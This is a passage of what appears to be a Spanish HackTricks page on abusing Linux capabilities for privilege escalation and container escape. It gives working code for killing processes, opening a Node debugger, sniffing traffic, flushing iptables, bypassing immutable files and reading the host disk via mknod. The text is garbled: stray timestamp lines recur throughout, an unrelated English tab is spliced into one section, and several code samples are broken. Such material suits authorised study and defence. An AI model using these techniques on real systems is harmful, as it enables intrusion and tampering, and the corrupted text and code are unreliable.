Parece que solo podemos agregar al conjunto heredable capacidades del conjunto de límites. Lo que significa que **no podemos poner nuevas capacidades como CAP\_SYS\_ADMIN o CAP\_SYS\_PTRACE en el conjunto heredable para escalar privilegios**.
## CAP\_SYS\_RAWIO
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) proporciona una serie de operaciones sensibles, incluyendo acceso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificar `mmap_min_addr`, acceso a las llamadas al sistema `ioperm(2)` e `iopl(2)`, y varios comandos de disco. La llamada al sistema `FIBMAP ioctl(2)` también está habilitada a través de esta capacidad, lo que ha causado problemas en el [pasado](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Según la página del manual, esto también permite al titular **realizar una serie de operaciones específicas del dispositivo en otros dispositivos**.
2023-06-05 18:30:03 +00:00
Esto puede ser útil para **la escalada de privilegios** y **la fuga de Docker**.
## CAP\_KILL
**Esto significa que es posible matar cualquier proceso.**
**Ejemplo con binario**
Supongamos que el binario **`python`** tiene esta capacidad. Si también pudieras **modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías instalar una puerta trasera y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu puerta trasera.
```python
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
```
**Privesc con kill**
Si tienes capacidades de kill y hay un **programa de nodo ejecutándose como root** (o como un usuario diferente), probablemente puedas **enviarle** la **señal SIGUSR1** y hacer que **abra el depurador de nodo** para que puedas conectarte.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
{% content-ref url="linux-capabilities.md" %}
[linux-capabilities.md](linux-capabilities.md)
2023-06-05 18:30:03 +00:00
{% endcontent-ref %}
## CAP\_NET\_BIND\_SERVICE
Esto significa que es posible escuchar en cualquier puerto (incluso en los privilegiados). No se puede escalar privilegios directamente con esta capacidad.
2023-06-05 18:30:03 +00:00
**Ejemplo con binario**
Si **`python`** tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos de privilegio específicos).
```python
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
```
{% endtab %}
{% tab title="Linux Capabilities" %}
# Linux Capabilities
Linux capabilities are a way to divide the privileges of a superuser into smaller units. This way, a process can be granted only the specific capabilities it needs to perform its task, instead of running with full root privileges.
2023-06-05 18:30:03 +00:00
## List Capabilities
2023-06-05 18:30:03 +00:00
To list the capabilities of a process, use the `getcap` command:
2023-06-05 18:30:03 +00:00
```bash
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep
2023-06-05 18:30:03 +00:00
```
This output shows that the `/bin/ping` binary has the `cap_net_raw` capability, which allows it to send and receive raw network packets, and the `ep` flag, which means that the binary can be executed with effective capabilities.
2023-06-05 18:30:03 +00:00
## Add Capabilities
2023-06-05 18:30:03 +00:00
To add capabilities to a binary, use the `setcap` command:
2023-06-05 18:30:03 +00:00
```bash
$ sudo setcap cap_net_raw+ep /bin/ping
2023-06-05 18:30:03 +00:00
```
This command adds the `cap_net_raw` capability to the `/bin/ping` binary, and sets the `ep` flag to allow the binary to be executed with effective capabilities.
## Remove Capabilities
To remove capabilities from a binary, use the `setcap` command with the `-r` flag:
2023-06-05 18:30:03 +00:00
```bash
$ sudo setcap -r cap_net_raw /bin/ping
2023-06-05 18:30:03 +00:00
```
This command removes the `cap_net_raw` capability from the `/bin/ping` binary.
2023-06-05 18:30:03 +00:00
## Exploiting Capabilities
2023-06-05 18:30:03 +00:00
If a binary has a capability that it doesn't need, it can be exploited to gain elevated privileges. For example, if a binary has the `cap_setuid` capability, which allows it to set the UID of the process, an attacker can use it to escalate privileges by setting the UID to 0 (root).
2023-06-05 18:30:03 +00:00
```bash
$ sudo setcap cap_setuid+ep /bin/bash
$ /bin/bash -p
```
2023-06-05 18:30:03 +00:00
This command adds the `cap_setuid` capability to the `/bin/bash` binary, and sets the `ep` flag to allow the binary to be executed with effective capabilities. The attacker can then run `/bin/bash -p` to get a root shell.
2023-06-05 18:30:03 +00:00
## References
- [Linux Capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html)
2023-06-05 18:30:03 +00:00
```python
import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))
```
{% endtab %}
{% endtabs %}
## CAP\_NET\_RAW
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que un proceso pueda **crear tipos de socket RAW y PACKET** para los espacios de nombres de red disponibles. Esto permite la generación y transmisión arbitraria de paquetes a través de las interfaces de red expuestas. En muchos casos, esta interfaz será un dispositivo Ethernet virtual que puede permitir que un contenedor malicioso o **comprometido** **suplante** **paquetes** en varias capas de red. Un proceso malicioso o un contenedor comprometido con esta capacidad puede inyectarse en el puente ascendente, explotar el enrutamiento entre contenedores, evitar los controles de acceso a la red y manipular la red del host si no hay un firewall en su lugar para limitar los tipos y contenidos de paquetes. Finalmente, esta capacidad permite que el proceso se enlace a cualquier dirección dentro de los espacios de nombres disponibles. Esta capacidad a menudo es retenida por contenedores privilegiados para permitir que la función ping funcione mediante el uso de sockets RAW para crear solicitudes ICMP desde un contenedor.
**Esto significa que es posible espiar el tráfico.** No se pueden escalar los privilegios directamente con esta capacidad.
**Ejemplo con binario**
Si el binario **`tcpdump`** tiene esta capacidad, podrá usarlo para capturar información de red.
2023-06-05 18:30:03 +00:00
```bash
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
```
Tenga en cuenta que si el **entorno** proporciona esta capacidad, también puede usar **`tcpdump`** para espiar el tráfico.
2023-06-05 18:30:03 +00:00
**Ejemplo con binario 2**
2023-06-05 18:30:03 +00:00
El siguiente ejemplo es un código de **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_The Basics: CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
```python
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
```
## CAP\_NET\_ADMIN + CAP\_NET\_RAW
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite al poseedor de la capacidad **modificar el firewall de los espacios de nombres de red expuestos, las tablas de enrutamiento, los permisos de socket**, la configuración de la interfaz de red y otras configuraciones relacionadas en las interfaces de red expuestas. Esto también proporciona la capacidad de **habilitar el modo promiscuo** para las interfaces de red adjuntas y potencialmente espiar a través de los espacios de nombres.
2023-06-05 18:30:03 +00:00
**Ejemplo con binario**
Supongamos que el **binario de python** tiene estas capacidades.
2023-06-05 18:30:03 +00:00
```python
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
```
## CAP\_LINUX\_IMMUTABLE
**Esto significa que es posible modificar los atributos de inode.** No se puede escalar privilegios directamente con esta capacidad.
**Ejemplo con binario**
2023-06-05 18:30:03 +00:00
Si encuentras que un archivo es inmutable y Python tiene esta capacidad, puedes **eliminar el atributo inmutable y hacer que el archivo sea modificable:**
2023-06-05 18:30:03 +00:00
```python
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
```
```python
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
{% hint style="info" %}
Tenga en cuenta que por lo general este atributo inmutable se establece y se elimina usando:
2023-06-05 18:30:03 +00:00
```bash
sudo chattr +i file.txt
sudo chattr -i file.txt
```
{% endhint %}
## CAP\_SYS\_CHROOT
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite el uso de la llamada al sistema `chroot(2)`. Esto puede permitir escapar de cualquier entorno `chroot(2)`, utilizando debilidades y escapes conocidos:
* [Cómo escapar de varias soluciones chroot](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
* [chw00t: herramienta de escape chroot](https://github.com/earthquake/chw00t/)
## CAP\_SYS\_BOOT
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite el uso de la llamada al sistema `reboot(2)`. También permite ejecutar un comando de reinicio arbitrario a través de `LINUX_REBOOT_CMD_RESTART2`, implementado para algunas plataformas de hardware específicas.
Esta capacidad también permite el uso de la llamada al sistema `kexec_load(2)`, que carga un nuevo kernel de falla y, a partir de Linux 3.17, la llamada al sistema `kexec_file_load(2)` que también cargará kernels firmados.
2023-06-05 18:30:03 +00:00
## CAP\_SYSLOG
[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) finalmente se bifurcó en Linux 2.6.37 desde el conjunto de capacidades `CAP_SYS_ADMIN`, esta capacidad permite que el proceso use la llamada al sistema `syslog(2)`. Esto también permite que el proceso vea las direcciones del kernel expuestas a través de `/proc` y otras interfaces cuando `/proc/sys/kernel/kptr_restrict` está configurado en 1.
2023-06-05 18:30:03 +00:00
El ajuste del sysctl `kptr_restrict` se introdujo en 2.6.38 y determina si se exponen las direcciones del kernel. Esto se establece en cero (exponiendo las direcciones del kernel) de forma predeterminada desde 2.6.39 dentro del kernel vanilla, aunque muchas distribuciones establecen correctamente el valor en 1 (ocultar de todos excepto uid 0) o 2 (ocultar siempre).
Además, esta capacidad también permite que el proceso vea la salida de `dmesg`, si la configuración `dmesg_restrict` es 1. Finalmente, la capacidad `CAP_SYS_ADMIN` todavía está permitida para realizar operaciones de `syslog` por razones históricas.
## CAP\_MKNOD
[CAP\_MKNOD](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite un uso extendido de [mknod](https://man7.org/linux/man-pages/man2/mknod.2.html) al permitir la creación de algo que no sea un archivo regular (`S_IFREG`), FIFO (tubería con nombre) (`S_IFIFO`) o un socket de dominio UNIX (`S_IFSOCK`). Los archivos especiales son:
* `S_IFCHR` (Archivo especial de caracteres (un dispositivo como una terminal))
* `S_IFBLK` (Archivo especial de bloques (un dispositivo como un disco)).
Es una capacidad predeterminada ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
Esta capacidad permite hacer escalaciones de privilegios (a través de la lectura completa del disco) en el host, bajo estas condiciones:
1. Tener acceso inicial al host (sin privilegios).
2. Tener acceso inicial al contenedor (con privilegios (EUID 0) y `CAP_MKNOD` efectivo).
3. El host y el contenedor deben compartir el mismo espacio de nombres de usuario.
**Pasos:**
1. En el host, como usuario estándar:
1. Obtener el UID actual (`id`). Por ejemplo: `uid=1000(sin_privilegios)`.
2. Obtener el dispositivo que desea leer. Por ejemplo: `/dev/sda`
2. En el contenedor, como `root`:
```bash
# Create a new block special file matching the host device
mknod /dev/sda b
# Configure the permissions
chmod ug+w /dev/sda
# Create the same standard user than the one on host
useradd -u 1000 unprivileged
# Login with that user
su unprivileged
```
1. De vuelta en el host:
```bash
# Find the PID linked to the container owns by the user "unprivileged"
# Example only (Depends on the shell program, etc.). Here: PID=18802.
$ ps aux | grep -i /bin/sh | grep -i unprivileged
unprivileged 18802 0.0 0.0 1712 4 pts/0 S+ 15:27 0:00 /bin/sh
```
```bash
# Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
head /proc/18802/root/dev/sda
```
El atacante ahora puede leer, volcar, copiar el dispositivo /dev/sda desde un usuario sin privilegios.
2023-06-05 18:30:03 +00:00
### CAP\_SETPCAP
**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Concede la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivas, heredables y permitidas de otros procesos. Sin embargo, existen ciertas restricciones sobre cómo se puede utilizar esta capacidad.
Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que estén en su propio conjunto de capacidades permitidas**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad en sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
Además, en las versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **restringida aún más**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitidas o en el conjunto de capacidades permitidas de sus descendientes**. Este cambio se introdujo para reducir los posibles riesgos de seguridad asociados con la capacidad.
2023-06-05 18:30:03 +00:00
Para utilizar `CAP_SETPCAP` de manera efectiva, es necesario tener la capacidad en su conjunto de capacidades efectivas y las capacidades objetivo en su conjunto de capacidades permitidas. Luego, puede utilizar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
2023-06-05 18:30:03 +00:00
En resumen, `CAP_SETPCAP` permite que un proceso modifique los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tenga en sí mismo. Además, debido a preocupaciones de seguridad, su funcionalidad se ha limitado en las versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitidas o en los conjuntos de capacidades permitidas de sus descendientes.
2023-06-05 18:30:03 +00:00
## Referencias
**La mayoría de estos ejemplos se tomaron de algunos laboratorios de** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), por lo que si desea practicar estas técnicas de privesc, recomiendo estos laboratorios.
**Otras referencias**:
* [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
* [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/)
* [https://linux-audit.com/linux-capabilities-101/](https://linux-audit.com/linux-capabilities-101/)
* [https://www.linuxjournal.com/article/5737](https://www.linuxjournal.com/article/5737)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module)
* [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro hirviente para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
2023-06-05 18:30:03 +00:00
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:30:03 +00:00
</details>